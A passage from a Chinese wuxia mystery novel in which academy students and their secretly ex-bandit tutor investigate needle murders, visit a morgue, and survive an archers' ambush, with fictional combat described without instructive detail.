“谁知道呢。知府相公也是,非让山长开放后山让各个书院的学子们比赛狩猎。中秋节前还要再举办乡射,前天学官问咱们斋参不参加。”
“你怎么回的?”唐黎半撑着身子问道。
“自然是不去的,来年开春就要府试,哪有闲工夫去参加射礼。”
“哪个学官问的?我想去参加。”
“奇怪。”林焕终于舍得放下纸笔,也蜷到床上道:“你平日里不是最讨厌参加这些的吗?”
“打猎多有意思,比站在原地看官员们射箭好玩太多。没准我还能猎几只野兔给你玩呢。”唐黎看起来十分感兴趣。
“我不玩儿,我还要读书。”林焕躺在床上依旧看着书,她沉重的叹了口气道:“为何朝廷对女官如此苛刻,一定要求独身?”
唐黎随口答道:“怕被家人孩子拖累,耽误办差呗。”
“那男子为官就没家没儿?既然要区别对待,考试也理应分男女科,分男女榜。”
“女子为官一事朝中本就颇为微词,若是再分男女榜,难免落人口舌。要我说还是不分开的好,到时候各凭本事。再说了朝廷要求女官独身,也没说不可婚嫁。和离的、丧偶的都可以为女官,只是任职期间要求独身......”唐黎打了个哈欠,眼皮越来越沉重,竟有些困得睁不开。
“唐黎,唐黎?”林焕轻轻拍拍她,唐黎轻哼了一下算是应声。
“你是不是又偷偷出去查案,查那个梅花针案?你都查了三个月什么都没查到,咱们放弃吧。”
方才还犯困的唐黎眼神清明不少,她转了个身继续装困。林焕还在拉着她的袖子道:“真的,别查了,怪吓人的。我知道你一门心思想破个大案入南衙当女官,可这是命案啊!是衙门都搞不清楚的糊涂事,你真要追查下去?为了当官连命都不要?”林焕的担心溢于言表。
“........”唐黎虽然没有回应,但林焕知道她听得到。
“你之前明明说的是去看望上官竹,怎么又去查案?还整夜整夜的下山,这太危险!”
“.......”唐黎还是默不作声。
见唐黎真的困乏到睁不开眼,林焕转头把灯都吹灭掉,屋里瞬间暗了下去,反倒衬得院外亮堂,马上就要圆的月亮比烛光还要亮上几分。
“也不知道上官竹怎么样了。”林焕语气中尽显担忧。唐黎翻个身囔囔道:“你担心谁也不用担心他,安了。”
唐黎这话倒是没有说错,牢中的上官竹虽不能说过得有多滋润,但也不至于太差。
“来来来,小的给上官学子倒酒。”三四个狱卒打扮的人正在围着个青年学子敬酒。
上官竹悠哉的靠坐在墙边,坦然地接受牢头敬来的酒。他闷口酒,又吃几口菜才问道:“牢头大哥,什么时候能放我出去?”
“上官学子莫急,流程还是要走一遍的。您就安心住在这里,小的们一定会把您伺候舒服的。”
上官竹瞥了眼面前的三个人,一个个龇着黄牙满脸堆笑,还没近身就觉得气味难耐,这些人在眼前只会让心情郁结,他摆着手道:“用不着各位伺候,回家歇息吧。”
“那小的去请水月楼的姑娘来如何?”
还未等上官竹回答,就听牢门外传来冷峻的声音:“还请什么姑娘,直接把水月楼搬来得了。”
与顾平安同来的还有蔺渊,上官竹见到夫子立刻起身,满目惊喜。
“可安好?”蔺渊发现这话问了也是白问。瞧瞧着狱中,美酒佳肴,锦被玉枕的,还有狱卒服侍倒酒,哪里有半分蹲大狱的样子。
这不禁就让蔺渊想起七年前自己入狱的场景,薄薄的稻草就是床,满地乱窜的老鼠吱吱叫个不停,还时不时有虫子爬到身上咬几口,吃的也如同泔水般难以下咽。
不能比啊,不可比啊。
“夫子,您是来接我出去的吗?”上官竹的话让蔺渊回过神来。
顾平安上下扫视着上官竹,语气十分不善:“学子过得蛮滋润的,我倒不知道大狱还有这么个蹲法。”
牢头连忙作揖道:“见过小顾相公,相公今日怎么有空踏足贱地?”
顾平安背着手官威十足,他阴沉着脸嗯一声道:“别再让我看到牢里出现酒。”
“是是是。”牢头带领狱卒把桌上的酒食一股脑的收拾好,脚底抹油溜得飞快。
顾平安瞥了眼上官竹道:“上官学子,收拾收拾跟我们走吧。”
上官竹兴奋的就差蹦起来,再关在这昏暗的牢狱中,他都快疯了。
“还不快谢谢顾相公。”蔺渊发话提点道。
上官竹拱手行礼郑重其事的道谢,顾平安却转身就走。像这类纨绔子弟顾平安是瞧不上的,要不是卖蔺渊人情,定然会
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将此子多关上几天,挫挫锐气。
“这...”上官竹半抬眸求助着夫子,蔺渊扶起他道:“顾相公就是这个脾气,不必放在心上。”
出狱后上官竹就屁颠屁颠的跟在蔺渊身后,还说要请夫子喝酒吃席。蔺渊摇头拒绝,他见天色已晚山门落锁便建议上官竹先找客栈休息,明早再一同回山,因放心不下还与顾平安一同将上官竹送到客栈门口。
“夫子不歇息吗?”
“哦,我与顾相公还有些事情要办。”
“我跟夫子一起去,还能出些力、帮些忙。”上官竹如今对蔺渊的态度十分殷勤。从水月楼蔺渊的挺身而出,到今日接出狱,蔺渊在上官竹心中已是高大伟岸又靠谱的形象,而上官竹决定摆正学子的姿态来对待这位蔺夫子。
顾平安阴恻恻的声音传来:“义庄,验尸,你去不去?”
本来上官竹是害怕的,但面对顾平安那挑衅的模样,他硬着头皮说什么也要去。
蔺渊无奈的缓缓摇头,自知这俩人都是倔强脾气。
罢了,一起去吧。
邓州的义庄坐落在城西,用来停放无人认领的尸体。这些尸体若是有造化的赶上哪家府里做善事,便能得上副薄棺入土为安。否则停放一定时日后就会被集体焚烧。
水月楼的璃羽从小孤苦无依,流浪至邓州卖身为妓,她出事后尸体就安放此处。
猫头鹰的叫声此起彼伏,有时还会划过几声鸦鸣。让本来就萧条的秋晚显得更加凄凉。义庄门前挂着两盏昏黄的灯笼,灯笼随风晃悠着,发出咯吱咯吱的声响,竟像是鬼鸣,气氛一下子就变得渗人起来。
“夫子,咱们真要进去吗?白天再来不好吗?”养尊处优的上官竹哪里见过这类景色。人面对未知的事务就会放大恐惧,此刻他的声音都开始微颤。
顾平安率先进院,院里的石灯都燃着蜡,比不上白日亮堂也比院外强上不少。院中的全貌就此展现出来,没想象中的那般可怕。院落整洁,与寻常民居无异。
上官竹见状便放宽了心,他打量着四周道:“不似话本里写的那样可怕呀。”
“话本里写的什么?”这些学子都爱提及话本,本着了解学子的生活为基本,蔺夫子好奇的问道。
“就是尸变啊,僵尸啊,狐妖借尸还魂啊....”
听着上官竹罗列书单,蔺渊皱着的眉头越来越深,这小子到底上学来干甚的?书没读上几本,歪门邪道的倒是看了不少。
“哦,对了还有美艳女鬼勾引书生,专吸元阳...”
顾平安嗤笑一声道:“那你可得小心啊,上官学子。”说完他就推开一扇们,阴冷的风迎面而来,上官竹打了个一激灵,目光所到之处竟全是尸体,刚迈进门槛的脚愣是退了回来。
“若是害怕就在院中等我一会儿。”蔺渊指着快圆的月亮道:“今儿月光亮,妖魔鬼怪不敢近身。”
上官竹权衡一二决定与月光作伴。
“别走远,别乱开其他房门。”蔺渊嘱咐完就将停尸房的门关好。
“你对那小子还挺关心的。”
“孩子嘛。害怕正常。”蔺渊上手帮着顾平安点起蜡烛:“看顾相公的年岁也该有孩子了吧?”
“有。”烛光摇曳下顾平安眼中闪过一抹异样,他并没有与蔺渊继续聊下去。他将手中的烛台摆好,掀开面前尸体的白布道:“这位就是璃羽姑娘。”
18. 好奇心太强的唐黎
蔺渊很快进入状态。当年他头次为官便被分配到大理寺刑狱衙门,对于验尸算得上精通。而且面前的尸体验起来没任何难度,蔺渊很快得出与府衙仵作一样的结论,死因是胸口处最显眼的刀伤,离谱的是也有根铁针入脑。
顾平安知道结果,但他想问的是此针是否与陶员外家小姐脑中针一致,是否与十年前京城梅花针案有所关联。
“还是那句话,此针与十年前的梅花针完全不同,毫无关系。至于与陶小姐是否同一人作案,我不敢断言,毕竟未见过陶小姐的尸身,但这针是相同的。”
“那就是一个人!最起码是杀害吴小姐的凶手!”顾平安说得肯定。
“顾相公为何不将陶员外家的案子上报府衙?让府衙将两案合并为一案,也好多些线索。”
这话在璃羽没出事前蔺渊就曾提过。既然确定陶小姐并非自杀却不上报官府,这点实在想不通。尤其顾平安还是位官员,他说的话定会得府衙重视,自然也会对此案进行受理。
顾平安仿佛没听见般默不住声。屋里安静到极致,蔺渊觉得顾平安对此案有所隐瞒,就想再多问几句,突然一道惊呼打破寂静。
“啊!有鬼!”上官竹的喊声响起,蔺渊连忙开门道:“何事惊慌?”
上官竹指着东厢房道:“有鬼影闪过,进那个屋子里了!”
顾平安也不含糊,拔出佩刀朝着东厢房奔去,紧接着就传来兵刃碰撞的声音。
只有一声便戛然而止,蔺渊与上官竹对视一眼,分别拿过立在墙侧的锄头铁锹,谨慎万分的朝着东厢房走去。
“顾相公?您没事吧?”上官竹探着头朝着黑暗的厢房喊道。
“无碍。”顾平安声音传来,听起来没什么不妥。上官竹悬着的心慢慢落回肚中。
蔺渊端着烛台走进厢房,注意到顾平安的佩刀已断为两截。
那是官刀,官家给配的东西自然不会差的。竟然会被齐整折断,那鬼影手中的兵刃怕是削铁如泥。
蔺渊的视线落在断刀上久久未能移开,而刀的主人毫不在乎,他插着腰正愤恨地道:“可恶!让那小贼给跑了!”转头又训斥上官竹道:“你要是不多喊那一嗓子,小贼也不会闻风而逃。”
上官竹反驳道:“我要是不喊,顾相公怎会知道贼的方向。相公不怪自己武艺平平,反倒怪上我喽。”
“臭小子。”顾平安正因输阵气恼,上官竹再拿话一激,他脾气上头,撸着袖子就要给对方两拳,好在被蔺渊及时拦住。
上官竹也是个混不吝,他不服气的努努鼻子甚至还在挑衅顾平安。突然他觉得此处有熟悉的味道,他又努努鼻子证实这一想法,连忙告知道:“这香味太熟悉。夫子,这香味像是....”
谁知蔺渊回头就道:“安静些!别再惹顾相公生气。”
蔺渊的一改往日温柔,颇为严厉的语气可把上官竹委屈坏了,他想负气离开又怕鬼怪出没,只得委屈巴巴的跟在蔺渊身后。
而蔺渊却对顾平安恢复柔声问道:“依顾相公之见,那小贼会是谁?”
“哼,不过是盗尸之流罢了。我就不信封窗封门还都拦不住他们。”顾平安拿着大锁将每间屋子都给锁上。
“还有人偷尸体?”上官竹在一旁插话道。
顾平安自然是不想搭理上官竹的,蔺渊便解释道:“虽说朝廷明令禁止,但民间还是有不少人家会配阴婚。这些荒坟、义庄成了这些盗尸者的光顾之所。”
“既然如此为何不派官吏看守义庄?”
“都是些无主的尸体,丢了也不会有苦主来寻。没必要派人来守。”
“怪可怜的。”上官竹耷拉着脑袋,心里不是滋味。就拿璃羽来说,活着时身世坎坷,死于非命不说,若被偷尸贼惦记上,岂不是又要被贩卖一回?死了也不是那自由鬼。
他快步追上顾平安的步伐道:“衙门的公案要是了结,可否尽快将璃羽姑娘安葬?顾相公放心,一应银两我来出。”他还补充道:“还有义庄那些无主的尸体,我都可以出钱安葬的。”
上官竹的善意让顾平安脸色有些缓和。没想到这浪荡子还有点人性。不过他并没有答应上官竹的提议。
蔺渊拱手道:“尸体我已经看过,就先回去了。”
上官竹等顾平安的身影彻底消失后才开口问道:“方才夫子为何不让我说完。难道您是故意避开顾平安的?”
“什么?”蔺渊一时没明白他的意思。
“那个香味呀,实在太熟悉了。”上官竹提示道。
“哦,那香味啊,我没闻到,顾相公也没闻到。”蔺渊着重强调顾平安这三个字。
“可我闻到了,那分明就是唐黎惯用的香粉,那竹香味儿,特别难调配呢。我敢保证邓州城里找不到第二人。”
蔺渊的脚步慢了下来,转眸看向他的学生道:“你知道这句话会为唐黎带来多大的麻烦?”
“麻烦?什么麻烦?那偷尸贼身上有唐黎的香味......难不成唐黎有危险!”说着上官竹就激动万分,恨不得立马跑去救唐黎。
“她好的很。”蔺渊一把拉住上官竹的衣袖让他留在原地。
当看到顾平安的断刀时,蔺渊就怀疑黑影是唐黎,毕竟他清楚自己腰间的软剑是那削铁如泥的宝物,邓州城内还找不到能与此剑对上阵的兵器。此刻上官竹又通过香味认出唐黎,看来八九不离十了。
这姑娘,又搞什么鬼呢。
听到夫子保证的,上官竹这才放心下来:“既然唐黎好好的,夫子干嘛说她有麻烦?”
“你是真不知道还是假不知道?”
“知道什么?”上官竹眨眨眼,显然是不知道。
蔺渊觉得上官竹不像装糊涂,便引导的问道:“什么情况下女子的香粉味儿会被男子熟知?”
这么一提点上官竹瞬间明白,他连忙摆手道:“我和唐黎清清白白的。她那香粉是我送的,所以我....”
他发现自己越描越黑,对上夫子那满眼的不信,他长吁一口气道:“夫子您就信我吧,我冒犯谁也不敢去冒犯唐黎,她是我的....”
“是你什么?”蔺渊追问着。
“唉!唐黎不让说。”
“跟夫子也不可说?还是说你信不过我?”蔺渊有意套话,想借此机会明朗唐黎的真实身份。
他做个痛心的表情,语气哀怨道:“罢了,不说也罢。我不过就是新来的夫子,各位少爷小姐看不上我这个穷书生也正常....”
急得上官竹连忙表态道:“夫子说的哪里话。哎呀,我俩亲戚关系,她是我的大姐姐。”
“姐姐?”蔺渊疑惑起来,不过就是表姐弟,为何要隐瞒这层身份?学院中有的是姐弟、兄妹的,也不见人家隐瞒关系。
蔺渊半开玩笑道:“唐黎不让说?可是嫌弃你这个弟弟丢人?”
“夫子说什么就是什么吧,但求您别在外人面前说起此事。唐黎发脾气的样子真的很吓人的。”他像是回想起什么,浑身来了个激灵。
蔺渊转眸打量着上官竹,见他深秋时节还穿单衣,不用说定是为了风流潇洒。那头发也不好好束,扎个高马尾整天在脑袋后边晃荡,让人看着就眼晕。
他抬手揪着上官竹的头发道:“今年多大,可行加冠礼?”
上官竹护着脑袋,生怕发型被破坏,连忙回答道:“还未,明年冬月。”
“冠必正,纽必结,袜与履,俱紧切。启蒙先生没教过你这些?”
“教过教过,您就松手吧。”
蔺渊勾唇浅笑,揪着他的头发一路朝前走去:“荀子云,食饮、衣服、居处、动静,由礼则和节,不由礼则触陷生疾;容貌、态度、进退
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、趋行,由礼则雅,不由礼则夷固僻违,庸众而野。故人无礼则不生,事无礼则不成,国家无礼则不宁.....”
他们走了一路,蔺渊念了一路。
到达客栈蔺渊终于舍得松开上官竹。上官竹的头发早已乱的如鸟窝。他双目空洞、大脑放空,机械般拱手道:“夫子快些歇息,学生就在隔壁。”
“站住。”蔺渊摁住他的肩膀道:“方才与你讲的是荀子修身一篇,所谓修身你有何想法?”
“修,修身……”上官竹根本就答不出来。蔺渊一路上念叨,他根本就没听,只顾着夺回头发。
“不急啊。我这还有几问,你一并记下。
修身安民,以礼为本。问,何为礼?
荀子所论之礼与孔子所论之礼又有何区别?
我朝丞相由为敬重荀子,相爷曾写一文论礼与法。问,何为法……”
上官竹实在受不了,立马打断他道:“哎呀,我哪里知道。”
“哦,不知道?那没关系。”蔺渊示意上官竹坐下,笑得颇为慈祥道:“我现在讲与你听。正所谓礼...”
“会!我会!”上官竹连忙举手道,生怕蔺渊晚上不睡觉在自己耳边讲经。
蔺渊让小二拿来笔墨纸砚,嘱咐道:“明儿一早我要文章,四百字。”
“是。”上官竹总算将蔺渊送出门去,他瞥眼桌上的白纸不以为然的耸了下肩,仰面躺倒床上很快就进入梦乡。
蔺渊转身来到客栈二楼,立马有人迎接道:“哥哥,今日怎么有空下山?”
这家客栈的二层被白虎山全包下来,以石泰、侯保为首聚在此处。他们本欲请二当家的回山主持大局,谁知蔺渊铁了心的要当教书先生。哥几个央求无果就打算回山的,可巧碰到崔安一事,放心不下蔺渊便留下几人在此,想着日后能有个照应。
“嘿嘿,哥哥。”石泰打着酒嗝出来迎接。
蔺渊也没寒暄,直接安排道:“侯保随我走一趟。”
石泰立马跟上道:“我也去。”
“侯保一人就行。”蔺渊指着楼下道:“那屋子里的是我的学生,你看好他就行。”说着就领着侯保再次来到义庄。
侯保在江湖上有一诨名,曰精巧猴,除了他身形消瘦矮小似猿猴,便是他开锁的本领。几下操作顾平安的那几把大锁就全被打开。
侯保抬头看了眼匾额道:“哥哥,这是义庄,咱们来干嘛?”
“找人。”蔺渊大踏步的往东厢房走去。
链锁落地,腐朽的木门被推开。屋里屋外都静悄悄的,侯保进屋转了一圈汇报道:“都是死人,没有能喘气的。”
蔺渊缓缓吸了口气,上官竹口中所说那淡淡地的竹香还在,说明人并未离开。
顾平安锁门时他注意到唐黎还在屋内,但并没有开口制止,一是怕唐黎被迫现身惹上无谓的官司,二是想给唐黎些教训,希望这次被困停尸房的经历能减轻她的好奇心,别再把心用到学业之外的事情上。
“出来吧,你已经安全。”蔺渊并未点名道姓,他见屋里依旧没动静,让出屋外打算与侯保先行离开。
“这有晕死过去的人!”侯保的声音让蔺渊快步折回。
黑暗中看不清面容,但温热的皮肤证明这不是一具尸体。蔺渊将人抱到院中,侯保看清女子面容惊讶道:“这不是大侄女吗?怎么会在这?”
蔺渊没工夫回答他,上手掐着唐黎的人中,又转手掐起虎口来。所有唤醒晕厥的法子都试过,唐黎才慢慢苏醒。
刚醒来的唐黎视线模糊,她看到面前的突如其来的大脸,吓得惊呼一声,抬手就是巴掌挥出去。
“啪!”这一巴掌可不轻,蔺渊脸上立刻出现五个鲜红的指印。
蔺渊被打懵了,一瞬间忘记反应,就连疼痛也忘记,只是愣愣地看着唐黎。
19. 英雄救美,还是美救英雄
“哈哈哈哈。”侯保不客气的笑到前仰后合。这才让游离在状态外的二人回过精神。
唐黎急忙起身,本来要道歉的话愣是堵在嘴边,开口就变成质问:“你知道我被锁在屋中?”
“嗯。”蔺渊揉揉了脸颊,活动活动下巴,这姑娘下手是真狠呀!
“那你为何不开口制止顾平安?”
“要是开了口,学子此刻就不会在这里质问蔺某。”蔺渊还在揉着脸颊,真的好痛啊。
蔺渊确实在理儿,这儿点唐黎也清楚。面对他脸上显眼的巴掌印,唐黎心虚地低下头。
“走吧。”蔺渊没多说什么,他犯不着跟小姑娘置气。
心里不禁感慨起来,幸亏自己不是十八斋的真夫子,不然只唐黎上官二人就能将夫子气到翘辫子。或许我是该考虑考虑山长的话换到第五斋。
侯保见蔺渊神情淡漠以为他在生气,便主动关怀起唐黎道:“大侄女好好的怎么晕倒了?”
蔺渊微微侧耳,他同样好奇这点。
“没什么,我从小身子骨弱,要是有顿饭没吃好就容易晕倒。”她说得煞有其事,蔺渊却半个字都不信。
抱她出来时,满目惨白,嘴唇殷紫,分明就是被什么东西给吓到。蔺渊回身望向黑暗中的义庄,普通人被吓到情有可原。要说唐黎怕黑怕鬼,那她一开始就不会跟进义庄,又怎么会躲在停尸房内?
同样琢磨事的还有唐黎,她对蔺渊再次出现还是很意外的。无论如何今日得他们相助,礼数不能少,别叫人笑话。
于是她行礼道:“谢过二位。”
蔺渊眉毛微挑,见惯唐黎平日里不可一世的模样,竟觉得面前行礼道谢的唐黎娴静不少,倒有几分闺中女儿姿态。
侯保生怕累着唐黎,连忙扶着她道:“客气什么,都是一家子。”
对于侯保的自来熟,唐黎不明白的抬眸,蔺渊而是微咳两声发话道:“走吧。”
“是。”唐黎跟在二人身后。
蔺渊长长的影子将唐黎笼罩其中,唐黎抬头看去今日竟觉得此人顺眼不少。林焕说的没错,这个蔺万宗长得确实不错,身姿提拔,姿态优雅,举手投足间满是书卷气,要是不留胡子就更好了。
如果被人长时间注视,或多或少会有察觉的。蔺渊感受后背凉凉的,他狐疑地回头,就在此刻暗箭破风而来直冲向心口。
蔺渊甚至都能感受到迎面而来的冷风,他反应非常快,只是为了躲箭以非常狼狈之姿态跌到在地,而他身旁的唐黎反手拔剑将箭砍成两截,那双杏眸在黑暗中无比坚定明亮。
唐黎握紧手中的剑,微错一步护在蔺渊身前,瞥了眼没来及起身的蔺渊,忍不住翻了个白眼暗骂句废物。
这第一支箭是为了探路,因为隐于黑暗中的那一方不好确认猎物的准确位置。但是方才蔺渊的摔倒、唐黎的砍箭都发出不小声响。
紧接着就是暗箭如雨,密集如织。
唐黎手中的剑不停舞动,仿佛在她周围形成一道屏障能将所有的暗箭挡在外面。
“跑!”蔺渊拉住唐黎的手腕就往稠密的树林里跑去,侯保甩出几枚烟雷来断后。
乱箭对上乱林威力减半,支支箭羽射入木中发出嗡嗡的响声,唐黎刚要回头探查情况就被蔺渊摁住脖子躲过一箭。
“侯保!”只叫了一声名字侯保就明白兄弟的意思,他拉过唐黎的胳膊朝着另外的方向道:“跟我走。”
“可……”唐黎是想问蔺渊怎么办,但那些冷箭逼的她无法细问。
已经跑远的蔺渊还在嘱咐道:“别回头,一直跑!”
三人兵分两路,压迫性很强的箭雨也渐渐消失。侯保从树上探查很久才跳了下来道:“他们的箭已经射完,你现在非常安全。好好待在这,我去救二哥。”
“我跟你一起去。”唐黎想都没想就说道。
侯保本来是想拒绝的,但看到唐黎手中的软剑,心里犯起嘀咕:“这凤鸣剑二哥宝贝的跟什么似的,怎会在这丫头手中?坏了!二哥手里没武器傍身。”他更着急了,也不再管唐黎是否跟着。
至于蔺渊,他那身白衣在黑暗中属实显眼到过头,跑到最后他也跑不动了,最终还是被人围困起来。
“蔺二爷,您这命够大的呀!”来人脸上有道大疤,说话粗鄙难听。他喘着粗气,同样是跑到疲累。
“敢为阁下是?”蔺渊看起来冷静到过头。
那疤男不打算有问必答,冷笑一声:“等我拿你的人头去领赏钱,那时候你就知道爷爷我是谁!”
他指挥着手下上前攻击,蔺渊躲的过一人,打不过两人,从一开始就处于劣势。
疤脸男见状大笑道:“就这身手,还是白虎山的二当家?看来江湖传闻都是狗屁!哈哈哈哈。”
他们在确定蔺渊没什么武功时就起了玩儿心,也不着急杀人。一会儿拿剑要去捅你腰窝,一会儿又拿刀要去割你胡子,那矮个子拔你发簪,那高个子抽你腰带。蔺渊躲闪地越狼狈他们笑得就越开心。
疤脸男笑的最是得意。早知道白虎山二当家是这样的孬货,自己一人就能解决,哪里需要过来十几个弟兄,赏金也可独享。不仅如此箭也射完了,如今铁器被朝廷管的越来越严,真的用一支少一支。
他心里不痛快便要拿蔺渊寻开心。
“来来来,给爷爷磕三响头,也许会考虑留你全尸。”
蔺渊缓缓转过头来,长发披散在肩遮住他的半张脸,只剩下一双幽深的瞳孔。
“这小子还不服气啊?来,老子给你放放血。”疤脸男说着抽出一把匕首,抬手就扎下去。
只是那匕首停在空中未能再进半分,修长的手抓住匕首,任凭刀刃没入肉中。
趁着对方愣神之际,蔺渊夺过匕首直接捅进疤脸男的脖颈,动作干脆利索无半分迟疑。疤脸男捂着脖子满嘴满脸都是血,喘息几下再也没了动静。
“老大死....死了?”矮个子瞪大眼睛,不敢相信自己所看到的。
就算老大一时大意被人夺走兵刃,可....可对方是个没什么武功的书生,怎能一击毙命,这也太巧了吧。
这些人把老大的死亡归根到点儿背,纷纷举起刀剑要定蔺渊这颗人头。
蔺渊握紧手中的匕首,一对十二他是一点胜算都没有,打是打不过便试图嘴遁。
他先是露出人畜无害的笑容道:“各位好汉想必听过我蔺渊的名头,也知道白虎山的威名。都是道上混的,何必闹成这样,伤和气。
不如这样,蔺某人的脑袋值几个钱,蔺某就再加上两成付给各位兄弟如何?权当辛苦费。”他一声叠过一声说的慷慨激昂,倒真有点江湖侠客的味道。
实话实说蔺渊给的条件确实诱人,但是他自己清楚以白虎山现在的实力根本拿不出这些钱来,此刻无非是缓兵之计,等逃出去再做打算。
对面也有明白人,直接举刀砍过来道:“少唬老子,白虎山被朝廷打的四分五裂,哪里还有金银。”
蔺渊弯腰闪躲,对方笨重的大刀卡在树中,蔺渊侧身也不忘点了点刀面,夸赞道:“牛脊刀,兄弟有眼光。蔺某也收藏不少兵器,各个在那兵器榜上,兄弟有兴趣吗?”
使大刀的人被拿捏住不再进攻,反倒是那矮个子嚷嚷着道:“你个傻大个!
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就知道惦记刀!大哥都被他杀了,此仇不报咱们还怎么在江湖上混!”
此话一出群情激奋,蔺渊明知没机会嘴遁,他撩起衣摆转身就跑。
“站住!”
“别跑!”
“这小子太能跑了吧!”
是的,没错,蔺渊是能跑,多亏他个高腿长,一步能顶上别人两步。可就算腿再长也有累的时候,更何况方才被那伙人折腾的够呛,蔺渊跑着跑着也迈不开腿。
“臭小子!站住!”身后的人终于追上来,各个气喘吁吁,有人还夸张到拄着兵器弯腰喘气。
“跑!我让你跑!先打断他的腿。”
这伙人凶巴巴的上前却被从天而降的剑拦住去路。
此剑窄扁锋利,剑身在月光下闪烁着耀眼夺目的寒芒,一看便知不是凡品。
蒙面女子飞身而来稳健地落在那剑柄之上,柔软的剑微微弯曲她便飞身跃下,随即抬脚后踢,那剑便自然就飞落在手中。
还未交手,不知这半路杀出来的女子功力如何。但仅凭方才那几下可以断定此人拥有过人的轻功。
双方目光微错随即便战到一处,所有的刀剑相碰就只响一声,削铁如泥的宝剑如有神助般挥洒自如。
“身姿灵活,招式凌厉,不错。”侯保称赞道。
蔺渊却歪着脑袋,是自己眼花了吗?
唐黎怎么是满目兴奋,似乎对此类刺激冒险之事尤为热衷。
这可不是个好兆头。
侯保同样歪头,同样不解的问道:“是我的错觉吗?怎么觉得大侄女没用杀招?”
提到这,蔺渊觉得唐黎用的剑法颇为熟悉,可惜他对剑法不算精深,只能感到似曾相识却说不出个所以然来。
离谱的是唐黎所用剑法与这宝剑相得益彰,宛如一体,倒像是她用惯似的。
侯保也看不出门道,江湖门派繁杂,功法不说上千种也有上百种,而除了江湖门派,士族勋贵也会有自家独门武功。
唐黎所舞的剑法变化莫测,出其不意,绝非一家功法而是融百家之长,倒是符合她千金大小姐的身份。
恰逢唐黎挥剑向敌,侯保连忙指给蔺渊看:“哥哥快看,明明能直取命门偏偏剑锋要错开。若是使杀招,这些人早就投胎去了,哪里用缠斗这般久。”
“她练武是为了强身健体,跟咱们不一样的。”蔺渊扶着树席地而坐,侯保也跟着坐下道:“咱爷们坐这儿,留大侄女一人对敌,厚道吗?”
蔺渊亮出满手的鲜血道:“你是觉得我很能打吗?”
看着他那斑驳血色的长衫,侯保很是实诚的摇摇头。
“唉,我这就去帮忙。”他刚要起身就被蔺渊拉住嘱咐道:“他们少爷小姐的眼睛都干净,你可别下死手,吓到人家。”
“哥哥这话说的,兄弟知道。”侯保神气万分的抽出匕首。
“谁不知道你精巧猴的本事,快去吧。”
侯保答应蔺渊不下死手,可他出招狠辣的习惯是改不掉的,上来就挑人手筋脚筋,这对于唐黎来说观感也没好多少。
“大侄女你快撤吧,这里交给我。”
“你行吗?”唐黎见他身材瘦小有些担忧。
“哎呀,叫你走就走。没看到我家哥哥受伤了吗?”侯保催促着唐黎快些离开。
主要他顾忌唐黎不敢下死手,搁这磨工似的打架,打倒一个又起来一个,没完没了。本来侯保就是耐不住性子的人,此刻更是烦躁。
唐黎这才持剑离开,顺带拉上歪在树边的蔺渊。侯保见唐黎远去,他活动下脖子,露出森森白牙笑道:“爷爷送你们上路。”
20. 到底该不该行侠仗义?见义勇为
“不必扶我,我没受伤。”蔺渊撤回胳膊,与唐黎错上半步保持距离。
“那你这浑身的血?”
“不是我的。”蔺渊平静的回答。
“哦。对了。”唐黎接下腰间的软剑道:“这剑还你,我方才见你下意识拔剑....我....”
她一时间没想好措辞。方才危难之际注意到蔺渊下意识扶腰拔剑的姿势,就知道这剑是他保护自己的屏障。
蔺渊武功太差,出其不意的从腰间挥剑无论是砍断对方的兵刃,还是斩断对方的手臂,都可以说是他保命关键。削铁如泥的宝剑能为他挣得一线生机,自己却将他拿来保命的剑据为己有。
“这剑我不该拿的。”唐黎把剑往前送送。
蔺渊想到唐黎那似曾相识的剑法,本要接剑的手又缩了回去,凤鸣剑这么多年了,难得遇到合适的主人。
他的视线一直盯着剑,带着不舍道:“挺适合你的,留着防身吧。”
“那你呢?”
“我……我还有一柄差不多的。”蔺渊说的轻松。
唐黎信以为真,没有客套将剑缠回腰间,就听蔺渊道:“日后再遇今日的情况,转身就跑莫要出头,也莫要再回来。”
唐黎不以为然的摆手道:“他们打不过我的。师父说了像我这般年纪的,没几个能跟我对上招的,师父还说.....”
蔺渊直接打断她的话道:“这世上最不讲规矩的就是江湖人。他们阴招阳谋数不胜数,与他们对阵不是拆招,不是木剑对击赢点数,而是在搏命!”
面对蔺渊的严肃,唐黎有些不自然的垂下眸子。她知道蔺渊是为自己好,可这样被横眉竖眼的说上一二,又觉得落下面子。
蔺渊没注意到唐黎情绪的转变,还在说着:“今日之事万分感激,但蔺某宁愿身死也不愿你去冒险。”
唐黎眼波微动,垂着的眼帘并未抬起,她没回话。蔺渊还在苦口婆心的劝着。
“你武功虽高,实战却少。方才我就看出你不使杀招,分明是对杀人的胆怯。下不去手杀人便是在给对方机会来杀你。”
“呵。”唐黎轻笑一声,抬眸道:“你愿意死那是你的事,我乐意救你那是我的事。哪怕我为救你而亡,那也与你无关。空有一身武功本领却见死不救,倒不如不习武。”
“你……”蔺渊不由得叹气一声:“我看你是游侠话本子看多了。见义有为?锄强扶弱?这种事傻子才干。要学会审时度势,今日情形那般危险你就不该回来。”
“你说得对,我是不敢杀人。偌大的邓州城里又有几人杀过人?”唐黎并不觉得心软是缺点。
因为心软是人性,是必不可少的人性。
这话一出蔺渊的背突然变的佝偻,就在不久前他刚结果一人的性命,而此刻他却不敢在自己的学生面前承认这身白衣上还沾着疤脸男的血。
“我不敢杀人也不耽误我用武功来保护弱小。再说了,杀过人又不是什么积德的事,是吧?”
“咳咳。”这一刀刀的直往蔺渊心口戳,横跨手掌的伤口都不如心口的痛。
是啊,不仅不积德还丧良心。
蔺渊缓缓闭眼缓解下情绪,他指着东南方向道:“我看那边有个药铺,帮忙抓些止血的药来。”
唐黎歪歪头再三确认确认蔺渊神色正常,才蹬着一旁的树飞身离开。
蔺渊眼眸微垂,面对满是血污的长衫,忍不住自嘲地笑了几声。
就算披上夫子这层皮又如何?里子依旧是那烧杀抢劫无恶不作的土匪,令人作呕。
“呃。”蔺渊真的呕吐起来,他扶着树把胃里的食物吐个精光。
“你没事吧?”唐黎也不知道在哪里窜出来,上手为蔺渊顺着气。
蔺渊刚要说话就闻到随风飘来的些许焦香味。唐黎同样注意到,她环顾四周语气中带着疑惑:“奇怪,这么晚了怎么还有股子烤肉味。嗯,挺香的。”
蔺渊迅速抬眸望向远处。以自己对侯保的了解,被风送来的味道已然告诉答案,焦味中夹杂几股肉香还能是什么。
想到这他低头又吐起来,这时已经没有食物可吐,喉咙火辣辣的疼,即使这样都无法压制住反胃。他忍着恶心只想拉着唐黎快些离开,生怕让她看到不干净的东西。
